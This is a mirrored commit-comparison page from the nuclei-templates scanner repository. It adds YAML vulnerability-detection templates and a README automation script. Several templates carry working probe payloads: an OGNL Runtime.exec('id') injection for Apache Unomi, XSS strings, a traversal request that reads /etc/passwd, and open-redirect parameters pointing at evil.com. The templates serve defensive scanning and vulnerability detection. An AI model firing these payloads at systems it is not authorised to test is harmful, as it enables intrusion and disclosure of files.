mirror of
https://github.com/projectdiscovery/nuclei-templates.git
synced 2026-11-07 08:36:19 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
eb270c814c | ||
|
|
1ec8040a8d | ||
|
|
536539570e | ||
|
|
7d41f99f4e | ||
|
|
05f41079f4 | ||
|
|
63cfa344bd | ||
|
|
5bd7f829ab | ||
|
|
224e42bbbd | ||
|
|
c882f01d0d | ||
|
|
2544f78855 | ||
|
|
18c74bc6c9 | ||
|
|
be8472e760 | ||
|
|
bd7cb4643f | ||
|
|
ed4cbf6df4 | ||
|
|
6ac16c7660 | ||
|
|
8d47af848b | ||
|
|
2a3259b338 | ||
|
|
7f48d4c8c5 | ||
|
|
d477db3002 | ||
|
|
951a32d833 | ||
|
|
245450ba03 | ||
|
|
8d637df405 | ||
|
|
2a46a9000b | ||
|
|
7186a9c276 | ||
|
|
77564e1711 | ||
|
|
3c65d12715 | ||
|
|
344760aab5 | ||
|
|
eb015be802 | ||
|
|
c82cf8b720 | ||
|
|
dd95ae5a58 | ||
|
|
1e8e3a9304 | ||
|
|
e857aef0f6 | ||
|
|
c03f0f07c1 | ||
|
|
9403d02e38 | ||
|
|
071e3b25c9 | ||
|
|
0202889780 | ||
|
|
f5e1d23545 | ||
|
|
1cb5780680 | ||
|
|
0932426f0e | ||
|
|
cd4db3c9c5 | ||
|
|
a8a891d117 | ||
|
|
b8b9152950 | ||
|
|
8747f5ed9c | ||
|
|
7629b08e8e | ||
|
|
bc398cf3e3 | ||
|
|
7c7a7ba69f | ||
|
|
a2243cbf30 | ||
|
|
348d46fbb0 | ||
|
|
d6198665e7 | ||
|
|
2f42b6edd7 | ||
|
|
2187e142b1 | ||
|
|
4ed2e6f56f | ||
|
|
b1965155f7 | ||
|
|
a710c24d4d | ||
|
|
a273c87c2e | ||
|
|
3cf5167077 | ||
|
|
c4349a33cf | ||
|
|
51754d7cd1 | ||
|
|
4cc190f1b9 | ||
|
|
8b990fd753 | ||
|
|
4f4797ceb4 | ||
|
|
cdfb537623 | ||
|
|
f03482fdd7 | ||
|
|
477dc5cf08 | ||
|
|
86ec9f5ab3 | ||
|
|
77fefbc493 | ||
|
|
d85749b5c7 | ||
|
|
eb1a417534 |
No files matched your search
@@ -0,0 +1,49 @@
|
||||
f"""
|
||||
# Nuclei Templates
|
||||
|
||||
[](https://opensource.org/licenses/MIT)
|
||||
[](https://github.com/projectdiscovery/nuclei-templates/releases)
|
||||
[](https://github.com/projectdiscovery/nuclei-templates/issues)
|
||||
[](https://twitter.com/pdnuclei)
|
||||
[](https://discord.gg/KECAGdH)
|
||||
|
||||
Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/nuclei) which power the actual scanning engine. This repository stores and houses various templates for the scanner provided by our team as well as contributed by the community. We hope that you also contribute by sending templates via **pull requests** or [Github issue](https://github.com/projectdiscovery/nuclei-templates/issues/new?assignees=&labels=&template=submit-template.md&title=%5Bnuclei-template%5D+) and grow the list.
|
||||
|
||||
An overview of the nuclei template directory including number of templates and HTTP request associated with each directory.
|
||||
|
||||
### Nuclei templates `{version}` overview
|
||||
|
||||
| Templates | Counts | Templates | Counts |
|
||||
|----|----|----|----|
|
||||
| cves | {countTpl("cves")} | files | {countTpl("files")} |
|
||||
| vulnerabilities | {countTpl("vulnerabilities")} | panels | {countTpl("panels")} |
|
||||
| technologies | {countTpl("technologies")} | security-misconfiguration | {countTpl("security-misconfiguration")} |
|
||||
| workflows | {countTpl("workflows")} | tokens | {countTpl("tokens")} |
|
||||
| dns | {countTpl("dns")} | fuzzing | {countTpl("fuzzing")} |
|
||||
| generic-detections | {countTpl("generic-detections")} | default-credentials | {countTpl("default-credentials")} |
|
||||
| subdomain-takeover | {countTpl("subdomain-takeover")} | payloads | {countTpl("payloads")} |
|
||||
| wordlists | {countTpl("wordlists")} |
|
||||
|
||||
|
||||
### Nuclei templates `{version}` tree overview
|
||||
|
||||
<details>
|
||||
<summary> Nuclei templates </summary>
|
||||
|
||||
```
|
||||
{command("tree", 1, -2)}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
**{command("tree", -2, None)}**.
|
||||
|
||||
Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding.
|
||||
|
||||
------
|
||||
**Notes:**
|
||||
1. Use YAMLlint (e.g. [yamllint](http://www.yamllint.com/)) to validate new templates when sending pull requests.
|
||||
2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.
|
||||
|
||||
Thanks again for your contribution and keeping the community vibrant. :heart:
|
||||
"""
|
||||
@@ -0,0 +1,18 @@
|
||||
#!/usr/bin/env python3
|
||||
import os
|
||||
import subprocess
|
||||
|
||||
def countTpl(path):
|
||||
return len(os.listdir(path))
|
||||
|
||||
def command(args, start=None, end=None):
|
||||
return "\n".join(subprocess.run(args, text=True, capture_output=True).stdout.split("\n")[start:end])[:-1]
|
||||
|
||||
if __name__ == "__main__":
|
||||
version = command(["git", "describe", "--tags", "--abbrev=0"])
|
||||
template = eval(open(".github/scripts/README.tmpl", "r").read())
|
||||
|
||||
print(template)
|
||||
f = open("README.md", "w")
|
||||
f.write(template)
|
||||
f.close()
|
||||
@@ -0,0 +1,40 @@
|
||||
name: "Auto Update README"
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
|
||||
jobs:
|
||||
build:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Install tree
|
||||
run: sudo apt-get install tree -y
|
||||
|
||||
- name: Check out code
|
||||
uses: actions/checkout@master
|
||||
with:
|
||||
persist-credentials: false
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Set up Python
|
||||
uses: actions/setup-python@v2
|
||||
with:
|
||||
python-version: "3.8"
|
||||
|
||||
- name: Update README
|
||||
run: |
|
||||
python .github/scripts/update-readme.py
|
||||
|
||||
- name: Commit files
|
||||
run: |
|
||||
git config --local user.email "[email protected]"
|
||||
git config --local user.name "GitHub Action"
|
||||
git commit -m "Auto Update README [$(date)] :robot:" -a
|
||||
|
||||
- name: Push changes
|
||||
uses: ad-m/github-push-action@master
|
||||
with:
|
||||
github_token: ${{ secrets.GITHUB_TOKEN }}
|
||||
branch: ${{ github.ref }}
|
||||
@@ -1,3 +1,4 @@
|
||||
|
||||
# Nuclei Templates
|
||||
|
||||
[](https://opensource.org/licenses/MIT)
|
||||
@@ -10,30 +11,28 @@ Templates are the core of [nuclei scanner](https://github.com/projectdiscovery/n
|
||||
|
||||
An overview of the nuclei template directory including number of templates and HTTP request associated with each directory.
|
||||
|
||||
### nuclei templates `v7.2.0`
|
||||
### Nuclei templates `v7.2.6` overview
|
||||
|
||||
| Template Directory | Number of Templates |
|
||||
|---------------------------|--------------------------|
|
||||
| cves |125 |
|
||||
| default-credentials |03 |
|
||||
| dns |04 |
|
||||
| files |44 |
|
||||
| fuzzing |02 |
|
||||
| generic-detections |03 |
|
||||
| panels |39 |
|
||||
| security-misconfiguration |25 |
|
||||
| subdomain-takeover |02 |
|
||||
| technologies |32 |
|
||||
| tokens |08 |
|
||||
| vulnerabilities |33 |
|
||||
| workflows |15 |
|
||||
| Templates | Counts | Templates | Counts |
|
||||
|----|----|----|----|
|
||||
| cves | 136 | files | 46 |
|
||||
| vulnerabilities | 39 | panels | 40 |
|
||||
| technologies | 38 | security-misconfiguration | 28 |
|
||||
| workflows | 16 | tokens | 8 |
|
||||
| dns | 6 | fuzzing | 5 |
|
||||
| generic-detections | 3 | default-credentials | 3 |
|
||||
| subdomain-takeover | 2 | payloads | 2 |
|
||||
| wordlists | 1 |
|
||||
|
||||
### nuclei templates `v7.2.0` tree overview
|
||||
|
||||
### Nuclei templates `v7.2.6` tree overview
|
||||
|
||||
<details>
|
||||
<summary>Template Directory</summary>
|
||||
<summary> Nuclei templates </summary>
|
||||
|
||||
```
|
||||
├── LICENSE.md
|
||||
├── README.md
|
||||
├── cves
|
||||
│ ├── CVE-2005-2428.yaml
|
||||
│ ├── CVE-2013-2251.yaml
|
||||
@@ -100,6 +99,7 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ ├── CVE-2019-2588.yaml
|
||||
│ ├── CVE-2019-2725.yaml
|
||||
│ ├── CVE-2019-3396.yaml
|
||||
│ ├── CVE-2019-3402.yaml
|
||||
│ ├── CVE-2019-3799.yaml
|
||||
│ ├── CVE-2019-5418.yaml
|
||||
│ ├── CVE-2019-6112.yaml
|
||||
@@ -111,6 +111,7 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ ├── CVE-2019-8451.yaml
|
||||
│ ├── CVE-2019-8903.yaml
|
||||
│ ├── CVE-2019-8982.yaml
|
||||
│ ├── CVE-2019-9670.yaml
|
||||
│ ├── CVE-2019-9978.yaml
|
||||
│ ├── CVE-2020-10199.yaml
|
||||
│ ├── CVE-2020-10204.yaml
|
||||
@@ -119,12 +120,17 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ ├── CVE-2020-12116.yaml
|
||||
│ ├── CVE-2020-12720.yaml
|
||||
│ ├── CVE-2020-13167.yaml
|
||||
│ ├── CVE-2020-13942.yaml
|
||||
│ ├── CVE-2020-14179.yaml
|
||||
│ ├── CVE-2020-14181.yaml
|
||||
│ ├── CVE-2020-14815.yaml
|
||||
│ ├── CVE-2020-14864.yaml
|
||||
│ ├── CVE-2020-14882.yaml
|
||||
│ ├── CVE-2020-15129.yaml
|
||||
│ ├── CVE-2020-15505.yaml
|
||||
│ ├── CVE-2020-15920.yaml
|
||||
│ ├── CVE-2020-16139.yaml
|
||||
│ ├── CVE-2020-16846.yaml
|
||||
│ ├── CVE-2020-16952.yaml
|
||||
│ ├── CVE-2020-17505.yaml
|
||||
│ ├── CVE-2020-17506.yaml
|
||||
@@ -134,6 +140,7 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ ├── CVE-2020-24312.yaml
|
||||
│ ├── CVE-2020-2551.yaml
|
||||
│ ├── CVE-2020-25540.yaml
|
||||
│ ├── CVE-2020-26214.yaml
|
||||
│ ├── CVE-2020-3187.yaml
|
||||
│ ├── CVE-2020-3452.yaml
|
||||
│ ├── CVE-2020-5284.yaml
|
||||
@@ -152,6 +159,7 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ ├── CVE-2020-8191.yaml
|
||||
│ ├── CVE-2020-8193.yaml
|
||||
│ ├── CVE-2020-8194.yaml
|
||||
│ ├── CVE-2020-8209.yaml
|
||||
│ ├── CVE-2020-8512.yaml
|
||||
│ ├── CVE-2020-8982.yaml
|
||||
│ ├── CVE-2020-9047.yaml
|
||||
@@ -159,6 +167,7 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ ├── CVE-2020-9484.yaml
|
||||
│ ├── CVE-2020-9496.yaml
|
||||
│ ├── CVE-2020-9757.yaml
|
||||
│ ├── cve-2017-12637.yaml
|
||||
│ ├── cve-2019-9733.yaml
|
||||
│ └── cve-2020-0618.yaml
|
||||
├── default-credentials
|
||||
@@ -169,7 +178,9 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ ├── azure-takeover-detection.yaml
|
||||
│ ├── cname-service-detector.yaml
|
||||
│ ├── dead-host-with-cname.yaml
|
||||
│ └── servfail-refused-hosts.yaml
|
||||
│ ├── mx-service-detector.yaml
|
||||
│ ├── servfail-refused-hosts.yaml
|
||||
│ └── spoofable-spf-records-ptr.yaml
|
||||
├── files
|
||||
│ ├── apc-info.yaml
|
||||
│ ├── cgi-test-page.yaml
|
||||
@@ -219,8 +230,10 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ └── zip-backup-files.yaml
|
||||
├── fuzzing
|
||||
│ ├── arbitrary-file-read.yaml
|
||||
│ ├── basic-auth-bruteforce.yaml
|
||||
│ ├── directory-traversal.yaml
|
||||
│ └── generic-lfi-fuzzing.yaml
|
||||
│ ├── generic-lfi-fuzzing.yaml
|
||||
│ └── wp-plugin-scan.yaml
|
||||
├── generic-detections
|
||||
│ ├── basic-xss-prober.yaml
|
||||
│ ├── general-tokens.yaml
|
||||
@@ -270,6 +283,7 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ ├── CVE-2020-5776.csv
|
||||
│ └── CVE-2020-6287.xml
|
||||
├── security-misconfiguration
|
||||
│ ├── apache-tomcat-snoop.yaml
|
||||
│ ├── basic-cors-flash.yaml
|
||||
│ ├── basic-cors.yaml
|
||||
│ ├── django-debug-detect.yaml
|
||||
@@ -303,6 +317,7 @@ An overview of the nuclei template directory including number of templates and H
|
||||
├── technologies
|
||||
│ ├── apache-detect.yaml
|
||||
│ ├── artica-web-proxy-detect.yaml
|
||||
│ ├── basic-auth-detection.yaml
|
||||
│ ├── bigip-config-utility-detect.yaml
|
||||
│ ├── citrix-vpn-detect.yaml
|
||||
│ ├── clockwork-php-page.yaml
|
||||
@@ -315,6 +330,7 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ ├── home-assistant.yaml
|
||||
│ ├── jaspersoft-detect.yaml
|
||||
│ ├── jira-detect.yaml
|
||||
│ ├── kibana-detect.yaml
|
||||
│ ├── kong-detect.yaml
|
||||
│ ├── liferay-portal-detect.yaml
|
||||
│ ├── linkerd-badrule-detect.yaml
|
||||
@@ -360,6 +376,7 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ ├── moodle-filter-jmol-lfi.yaml
|
||||
│ ├── moodle-filter-jmol-xss.yaml
|
||||
│ ├── nginx-module-vts-xss.yaml
|
||||
│ ├── nuuo-nvrmini2-rce.yaml
|
||||
│ ├── open-redirect.yaml
|
||||
│ ├── oracle-ebs-bispgraph-file-access.yaml
|
||||
│ ├── pdf-signer-ssti-to-rce.yaml
|
||||
@@ -385,12 +402,15 @@ An overview of the nuclei template directory including number of templates and H
|
||||
│ ├── wordpress-wordfence-xss.yaml
|
||||
│ ├── wordpress-wpcourses-info-disclosure.yaml
|
||||
│ └── zms-auth-bypass.yaml
|
||||
├── wordlists
|
||||
│ └── wp-plugins.txt
|
||||
└── workflows
|
||||
├── artica-web-proxy-workflow.yaml
|
||||
├── basic-auth-workflow.yaml
|
||||
├── bigip-pwner-workflow.yaml
|
||||
├── cisco-asa-workflow.yaml
|
||||
├── grafana-workflow.yaml
|
||||
├── jira-exploitaiton-workflow.yaml
|
||||
├── jira-exploitation-workflow.yaml
|
||||
├── liferay-rce-workflow.yaml
|
||||
├── lotus-domino-workflow.yaml
|
||||
├── magmi-workflow.yaml
|
||||
@@ -405,7 +425,7 @@ An overview of the nuclei template directory including number of templates and H
|
||||
|
||||
</details>
|
||||
|
||||
14 directories, **352 templates**.
|
||||
**15 directories, 375 files**.
|
||||
|
||||
Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding.
|
||||
|
||||
@@ -415,4 +435,3 @@ Please navigate to https://nuclei.projectdiscovery.io for detailed documentation
|
||||
2. Use YAML Formatter (e.g. [jsonformatter](https://jsonformatter.org/yaml-formatter)) to format new templates when sending pull requests.
|
||||
|
||||
Thanks again for your contribution and keeping the community vibrant. :heart:
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
id: cve-2005-2428
|
||||
info:
|
||||
name: CVE-2005-2428 testing
|
||||
name: CVE-2005-2428
|
||||
author: CasperGN
|
||||
severity: medium
|
||||
|
||||
|
||||
@@ -13,8 +13,16 @@ requests:
|
||||
path:
|
||||
- "{{BaseURL}}/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
|
||||
- "{{BaseURL}}/admin/data/autosuggest-remote.php?q=<img%20src=x%20onerror=alert(1)>"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "<img src=x onerror=alert(1)>"
|
||||
part: body
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "application/json"
|
||||
part: header
|
||||
negative: true
|
||||
@@ -0,0 +1,60 @@
|
||||
id: cve-2020-13942
|
||||
|
||||
info:
|
||||
name: Apache Unomi Remote Code Execution
|
||||
author: dwisiswant0
|
||||
severity: critical
|
||||
description: |
|
||||
Remote Code Execution in Apache Unomi.
|
||||
Apache Unomi allows conditions to use OGNL and MVEL scripting which
|
||||
offers the possibility to call static Java classes from the JDK
|
||||
that could execute code with the permission level of the running Java process.
|
||||
This vulnerability affects all versions of Apache Unomi prior to 1.5.2. Apache Unomi users should upgrade to 1.5.2 or later.
|
||||
|
||||
References:
|
||||
- https://securityboulevard.com/2020/11/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/
|
||||
- https://twitter.com/chybeta/status/1328912309440311297
|
||||
|
||||
requests:
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/context.json"
|
||||
- "{{BaseURL}}:8181/context.json"
|
||||
headers:
|
||||
Content-Type: application/json
|
||||
body: |
|
||||
{
|
||||
"filters": [
|
||||
{
|
||||
"id": "nuclei",
|
||||
"filters": [
|
||||
{
|
||||
"condition": {
|
||||
"parameterValues": {
|
||||
"nuclei": "script::Runtime.getRuntime().exec('id')"
|
||||
},
|
||||
"type": "profilePropertyCondition"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
],
|
||||
"sessionId": "nuclei"
|
||||
}
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: word
|
||||
words:
|
||||
- "application/json"
|
||||
- "context-profile-id"
|
||||
condition: and
|
||||
part: header
|
||||
- type: regex
|
||||
regex:
|
||||
- "(profile|session)(Id|Properties|Segments)"
|
||||
- "[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}"
|
||||
condition: and
|
||||
part: body
|
||||
@@ -0,0 +1,29 @@
|
||||
id: cve-2020-14815
|
||||
|
||||
info:
|
||||
name: Oracle Fusion Middleware XSS
|
||||
author: shine
|
||||
severity: medium
|
||||
|
||||
# Reference:- https://twitter.com/HackerOn2Wheels/status/1326927875279380480
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/bi-security-login/login.jsp?msi=false&redirect=\"><svg/onload=alert(document.domain)>"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: word
|
||||
words:
|
||||
- "<svg/onload=alert(document.domain)>"
|
||||
part: body
|
||||
|
||||
- type: word
|
||||
words:
|
||||
- "application/json"
|
||||
part: header
|
||||
negative: true
|
||||
@@ -0,0 +1,37 @@
|
||||
id: cve-2020-16846
|
||||
|
||||
info:
|
||||
name: SaltStack Shell Injection
|
||||
author: dwisiswant0
|
||||
severity: critical
|
||||
description: |
|
||||
SaltStack Salt through 3002. Sending crafted web requests to the Salt API,
|
||||
with the SSH client enabled, can result in shell injection.
|
||||
|
||||
This template supports the detection part only. See references.
|
||||
|
||||
References:
|
||||
- https://mp.weixin.qq.com/s/R8qw_lWizGyeJS0jOcYXag
|
||||
- https://github.com/vulhub/vulhub/tree/master/saltstack/CVE-2020-16846
|
||||
|
||||
requests:
|
||||
- method: POST
|
||||
path:
|
||||
- "{{BaseURL}}/run"
|
||||
- "{{BaseURL}}:8000/run"
|
||||
body: "token=1337&client=ssh&tgt=*&fun=a&roster=projectdiscovery&ssh_priv=nuclei"
|
||||
headers:
|
||||
Content-Type: application/x-www-form-urlencoded # CherryPy will abort w/o define this header
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 500
|
||||
- type: word
|
||||
words:
|
||||
- "application/json"
|
||||
part: header
|
||||
- type: word
|
||||
words:
|
||||
- "An unexpected error occurred"
|
||||
part: body
|
||||
@@ -0,0 +1,31 @@
|
||||
id: cve-2020-8209
|
||||
|
||||
info:
|
||||
name: Citrix XenMobile Server Path Traversal
|
||||
author: dwisiswant0
|
||||
severity: high
|
||||
description: |
|
||||
Improper access control in Citrix XenMobile Server 10.12 before RP2,
|
||||
Citrix XenMobile Server 10.11 before RP4, Citrix XenMobile Server 10.10
|
||||
before RP6 and Citrix XenMobile Server before 10.9 RP5 and leads to the ability to read arbitrary files.
|
||||
|
||||
References:
|
||||
- https://swarm.ptsecurity.com/path-traversal-on-citrix-xenmobile-server/
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/jsp/help-sb-download.jsp?sbFileName=../../../etc/passwd"
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
- "root:[x*]:0:0:"
|
||||
part: body
|
||||
- type: word
|
||||
words:
|
||||
- "fileDownload=true"
|
||||
- "application/octet-stream"
|
||||
- "attachment;"
|
||||
condition: and
|
||||
part: header
|
||||
@@ -0,0 +1,28 @@
|
||||
id: cve-2017-12637
|
||||
|
||||
info:
|
||||
name: Directory traversal vulnerability in SAP NetWeaver Application Server Java 7.5
|
||||
author: apt-mirror
|
||||
severity: high
|
||||
description: Directory traversal vulnerability in scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS in SAP NetWeaver Application Server Java 7.5 allows remote attackers to read arbitrary files via a .. (dot dot) in the query string, as exploited in the wild in August 2017, aka SAP Security Note 2486657.
|
||||
|
||||
# References:
|
||||
# - [1] https://www.cvedetails.com/cve/CVE-2017-12637/
|
||||
# - [2] https://nvd.nist.gov/vuln/detail/CVE-2017-12637
|
||||
# - [3] https://download.ernw-insight.de/troopers/tr18/slides/TR18_SAP_SAP-Bugs-The-Phantom-Security.pdf
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/scheduler/ui/js/ffffffffbca41eb4/UIUtilJavaScriptJS?/.."
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
- type: word
|
||||
words:
|
||||
- "WEB-INF"
|
||||
- "META-INF"
|
||||
condition: and
|
||||
part: body
|
||||
@@ -0,0 +1,71 @@
|
||||
id: mx-service-detector
|
||||
|
||||
info:
|
||||
name: E-mail service detector
|
||||
author: binaryfigments
|
||||
severity: info
|
||||
description: Check the email service or spamfilter that is used for a domain.
|
||||
|
||||
dns:
|
||||
- name: "{{FQDN}}"
|
||||
type: MX
|
||||
class: inet
|
||||
recursion: true
|
||||
retries: 5
|
||||
matchers-condition: or
|
||||
matchers:
|
||||
- type: word
|
||||
name: "Office 365"
|
||||
words:
|
||||
- "mail.protection.outlook.com"
|
||||
- type: word
|
||||
name: "Google Apps"
|
||||
words:
|
||||
- "aspmx2.googlemail.com"
|
||||
- "aspmx3.googlemail.com"
|
||||
- "alt1.aspmx.l.google.com"
|
||||
- "alt2.aspmx.l.google.com"
|
||||
- "aspmx.l.google.com"
|
||||
- type: word
|
||||
name: "ProtonMail"
|
||||
words:
|
||||
- "mail.protonmail.ch"
|
||||
- "mailsec.protonmail.ch"
|
||||
- type: word
|
||||
name: "Zoho Mail"
|
||||
words:
|
||||
- "mx.zoho.eu"
|
||||
- "mx2.zoho.eu"
|
||||
- "mx3.zoho.eu"
|
||||
- type: word
|
||||
name: "ForcePoint Email Security"
|
||||
words:
|
||||
- "in.mailcontrol.com"
|
||||
- type: word
|
||||
name: "E-Zorg NL"
|
||||
words:
|
||||
- "spamfilter02.ezorg.nl"
|
||||
- "spamfilter01.ezorg.nl"
|
||||
- "spamfilter.ezorg.nl"
|
||||
- "spamfilter03.ezorg.nl"
|
||||
- type: word
|
||||
name: "Kerio Cloud EU"
|
||||
words:
|
||||
- "mx1.eu1.kerio.cloud"
|
||||
- "mx2.eu1.kerio.cloud"
|
||||
- type: word
|
||||
name: "Kerio Cloud US"
|
||||
words:
|
||||
- "mx1.us1.kerio.cloud"
|
||||
- "mx2.us1.kerio.cloud"
|
||||
- "mx3.us1.kerio.cloud"
|
||||
- type: word
|
||||
name: "Proofpoint EU"
|
||||
words:
|
||||
- "mx1-eu1.ppe-hosted.com"
|
||||
- "mx2-eu1.ppe-hosted.com"
|
||||
- type: word
|
||||
name: "Proofpoint US"
|
||||
words:
|
||||
- "mx1-us1.ppe-hosted.com"
|
||||
- "mx2-us1.ppe-hosted.com"
|
||||
@@ -0,0 +1,20 @@
|
||||
id: spoofable-spf-records-ptr
|
||||
|
||||
info:
|
||||
name: Find spoofable SPF records containing the PTR mechanism
|
||||
author: binaryfigments
|
||||
severity: info
|
||||
description: Check if TXT records in DNS for SPF records that have the PTR mechanism that is spoofable.
|
||||
|
||||
dns:
|
||||
- name: "{{FQDN}}"
|
||||
type: TXT
|
||||
class: inet
|
||||
recursion: true
|
||||
retries: 3
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- "v=spf1"
|
||||
- " ptr "
|
||||
condition: and
|
||||
@@ -2,7 +2,7 @@ id: kubernetes-pods-api
|
||||
|
||||
info:
|
||||
name: Kubernetes Pods API
|
||||
author: ilovebinbash
|
||||
author: ilovebinbash & geeknik
|
||||
severity: critical
|
||||
description: When the service port is available, anyone can execute commands inside the container. See https://github.com/officialhocc/Kubernetes-Kubelet-RCE for inspiration.
|
||||
|
||||
@@ -20,4 +20,7 @@ requests:
|
||||
- type: word
|
||||
words:
|
||||
- "application/json"
|
||||
part: header
|
||||
part: header
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -0,0 +1,24 @@
|
||||
id: apache-tomcat-snoop
|
||||
|
||||
info:
|
||||
name: Apache Tomcat example page disclosure - snoop
|
||||
author: pdteam
|
||||
severity: low
|
||||
description: The following example scripts that come with Apache Tomcat v4.x - v7.x and can be used by attackers to gain information about the system. These scripts are also known to be vulnerable to cross site scripting (XSS) injection.
|
||||
|
||||
# Reference:- https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks
|
||||
|
||||
requests:
|
||||
- method: GET
|
||||
path:
|
||||
- "{{BaseURL}}/examples/jsp/snp/snoop.jsp"
|
||||
|
||||
matchers-condition: and
|
||||
matchers:
|
||||
- type: word
|
||||
words:
|
||||
- 'Request URI: /examples/jsp/snp/snoop.jsp'
|
||||
|
||||
- type: status
|
||||
status:
|
||||
- 200
|
||||
@@ -84,6 +84,7 @@ requests:
|
||||
- "JMImplementation"
|
||||
- "EnvironmentManager"
|
||||
- "org.springframework.boot.loader"
|
||||
- "health"
|
||||
condition: or
|
||||
- type: status
|
||||
status:
|
||||
|
||||
@@ -2,7 +2,7 @@ id: open-redirect
|
||||
|
||||
info:
|
||||
name: Open redirect Detection
|
||||
author: melbadry9 & Elmahdi & @pxmme1337 & @Regala_ & @andirrahmani1
|
||||
author: melbadry9 & Elmahdi & @pxmme1337 & @Regala_ & @andirrahmani1 & geeknik
|
||||
severity: low
|
||||
description: A user-controlled input redirect users to an external website.
|
||||
|
||||
@@ -19,7 +19,7 @@ requests:
|
||||
- "{{BaseURL}}//evil.com/..;/css"
|
||||
- "{{BaseURL}}/evil%E3%80%82com"
|
||||
- "{{BaseURL}}/%5Cevil.com"
|
||||
- "{{BaseURL}}/?Page=evil.com&_url=evil.com&callback=evil.com&checkout_url=evil.com&content=evil.com&continue=evil.com&continueTo=evil.com&counturl=evil.com&data=evil.com&dest=evil.com&dest_url=evil.com&dir=evil.com&document=evil.com&domain=evil.com&done=evil.com&download=evil.com&feed=evil.com&file=evil.com&host=evil.com&html=evil.com&http=evil.com&https=evil.com&image=evil.com&image_src=evil.com&image_url=evil.com&imageurl=evil.com&include=evil.com&media=evil.com&navigation=evil.com&next=evil.com&open=evil.com&out=evil.com&page=evil.com&page_url=evil.com&pageurl=evil.com&path=evil.com&picture=evil.com&port=evil.com&proxy=evil.com&redir=evil.com&redirect=evil.com&redirectUri&redirectUrl=evil.com&reference=evil.com&referrer=evil.com&req=evil.com&request=evil.com&retUrl=evil.com&return=evil.com&returnTo=evil.com&return_path=evil.com&return_to=evil.com&rurl=evil.com&show=evil.com&site=evil.com&source=evil.com&src=evil.com&target=evil.com&to=evil.com&uri=evil.com&url=evil.com&val=evil.com&validate=evil.com&view=evil.com&window=evil.com&redirect_to=evil.com"
|
||||
- "{{BaseURL}}/?Page=evil.com&_url=evil.com&callback=evil.com&checkout_url=evil.com&content=evil.com&continue=evil.com&continueTo=evil.com&counturl=evil.com&data=evil.com&dest=evil.com&dest_url=evil.com&dir=evil.com&document=evil.com&domain=evil.com&done=evil.com&download=evil.com&feed=evil.com&file=evil.com&host=evil.com&html=evil.com&http=evil.com&https=evil.com&image=evil.com&image_src=evil.com&image_url=evil.com&imageurl=evil.com&include=evil.com&langTo=evil.com&media=evil.com&navigation=evil.com&next=evil.com&open=evil.com&out=evil.com&page=evil.com&page_url=evil.com&pageurl=evil.com&path=evil.com&picture=evil.com&port=evil.com&proxy=evil.com&redir=evil.com&redirect=evil.com&redirectUri=evil.com&redirectUrl=evil.com&reference=evil.com&referrer=evil.com&req=evil.com&request=evil.com&retUrl=evil.com&return=evil.com&returnTo=evil.com&return_path=evil.com&return_to=evil.com&rurl=evil.com&show=evil.com&site=evil.com&source=evil.com&src=evil.com&target=evil.com&to=evil.com&uri=evil.com&url=evil.com&val=evil.com&validate=evil.com&view=evil.com&window=evil.com&redirect_to=evil.com"
|
||||
matchers:
|
||||
- type: regex
|
||||
regex:
|
||||
|
||||
+2
-2
@@ -1,7 +1,7 @@
|
||||
id: jira-exploitaiton-workflow
|
||||
id: jira-exploitation-workflow
|
||||
|
||||
info:
|
||||
name: Jira Exploitaiton workflow
|
||||
name: Jira Exploitation workflow
|
||||
author: micha3lb3n
|
||||
|
||||
variables:
|
||||
Reference in new issue
Block a user